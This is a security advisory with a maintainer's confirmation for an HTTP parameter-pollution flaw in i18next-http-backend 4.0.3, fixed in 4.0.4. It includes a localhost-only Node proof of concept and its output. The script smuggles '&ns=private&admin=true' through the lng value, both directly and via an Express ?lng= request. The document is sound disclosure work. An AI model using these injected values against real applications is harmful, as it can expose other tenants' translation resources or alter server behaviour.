i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string

The README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read ?lng=, cookies, localStorage and request headers. i18next-http-middleware's LanguageDetector does the same on the server.

Where ? is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, & and = are the separators, so they must be rejected or encoded too.

Suggested fix. Reject & and = (and ;) in both lng and ns; no BCP-47 language code or usable i18next namespace contains them. Alternatively, encodeURIComponent each +-joined segment when the placeholder appears after ? in the template.

Proof of concept

How to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app):

1. mkdir i18next-poc && cd i18next-poc
2. npm init -y
3. npm i [email protected] [email protected] [email protected] [email protected]
4. Save the script below as poc.mjs
5. node poc.mjs

// i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts
// {{lng}} in the query string (README multiload shape) gets extra parameters.
// Everything runs on 127.0.0.1: a fake translations API and an Express app.
import http from 'node:http'
import express from 'express'
import i18next from 'i18next'
import Backend from 'i18next-http-backend'
import middleware from 'i18next-http-middleware'

const seen = []
const api = http.createServer((req, res) => {
  seen.push(req.url)
  res.setHeader('content-type', 'application/json')
  res.end('{"hello":"hi"}')
})
await new Promise((r) => api.listen(0, '127.0.0.1', r))
const loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}}`
const wait = () => new Promise((r) => setTimeout(r, 200))

// 1) Direct: lng values passed to i18next as-is.
console.log('[1] direct init')
for (const lng of ['de', 'de?admin=true', 'de&ns=private&admin=true']) {
  seen.length = 0
  await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: ['common'], backend: { loadPath } })
  console.log(`    lng=${JSON.stringify(lng).padEnd(28)} -> API got: ${seen.length ? seen.join(' ') : '(no request, refused)'}`)
}

// 2) Server side: language taken from the request by i18next-http-middleware (default options).
console.log('[2] Express + i18next-http-middleware LanguageDetector')
const i18n = i18next.createInstance()
await i18n.use(Backend).use(middleware.LanguageDetector)
  .init({ fallbackLng: 'en', preload: ['en'], ns: ['common'], defaultNS: 'common', backend: { loadPath } })
const app = express()
app.use(middleware.handle(i18n))
app.get('/', (req, res) => res.send(req.t('hello')))
const web = app.listen(0, '127.0.0.1')
await new Promise((r) => web.on('listening', r))
await wait()
for (const q of ['de', 'de%26ns%3Dprivate%26admin%3Dtrue']) {
  seen.length = 0
  await fetch(`http://127.0.0.1:${web.address().port}/?lng=${q}`).then((r) => r.text())
  await wait()
  console.log(`    GET /?lng=${q.padEnd(32)} -> API got: ${seen.join(' ')}`)
}
web.close()
api.close()

Output (i18next-http-backend 4.0.3, i18next 26.5.1, i18next-http-middleware 3.9.9, Node 22):

[1] direct init
    lng="de"                         -> API got: /locales/resources.json?lng=de&ns=common
    lng="de?admin=true"              -> API got: (no request, refused)
    lng="de&ns=private&admin=true"   -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common
[2] Express + i18next-http-middleware LanguageDetector
    GET /?lng=de                               -> API got: /locales/resources.json?lng=de&ns=common
    GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue -> API got: /locales/resources.json?lng=de&ns=private&admin=true&ns=common

The ? control is refused by the existing fix. The & form passes and reaches the API with injected ns=private&admin=true.

Impact

This is injection of query parameters (CWE-74, HTTP parameter pollution) into the backend's outgoing requests:

• Server side (SSR, Node, i18next-http-middleware): an unauthenticated visitor can make the application server send requests to its internal or partner translations API with parameters of the visitor's choosing. The visitor can override existing ones (ns, version, tenant, feature flags, cache keys) using the server's network position and credentials. Depending on how that API branches on its parameters, this can expose other namespaces or tenants' resources, or change server-side behaviour.
• Browser side: a crafted link (?lng=…) does the same to the victim's same-origin request.

Applications using the default path template /locales/{{lng}}/{{ns}}.json, or a supportedLngs allowlist, are not affected.

credit to Adrian Korwel.

Maintainer note

Confirmed and fixed in 4.0.4 (commit i18next/i18next-http-backend@b0eef9e).

Preconditions. The loadPath / addPath template must put {{lng}} or {{ns}} in the query string (for example /locales/resources.json?lng={{lng}}&ns={{ns}}, the multiload shape), and the attacker must control the language or namespace value. The default /locales/{{lng}}/{{ns}}.json and other path-only templates are not affected, nor are applications that restrict languages with supportedLngs. The impact depends on what the translations API does with the injected parameters.

Fix. &, = and ; are now rejected in both lng and ns values, in addition to the ?, #, % and : rejected before. No language code or usable namespace name contains them. +-joined multiload values such as de+en keep working, verified end to end with i18next-multiload-backend-adapter.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.4.

Related. i18next-locize-backend had the same gap with custom query-shaped templates (its default paths are not affected). It is fixed in i18next-locize-backend 10.0.4.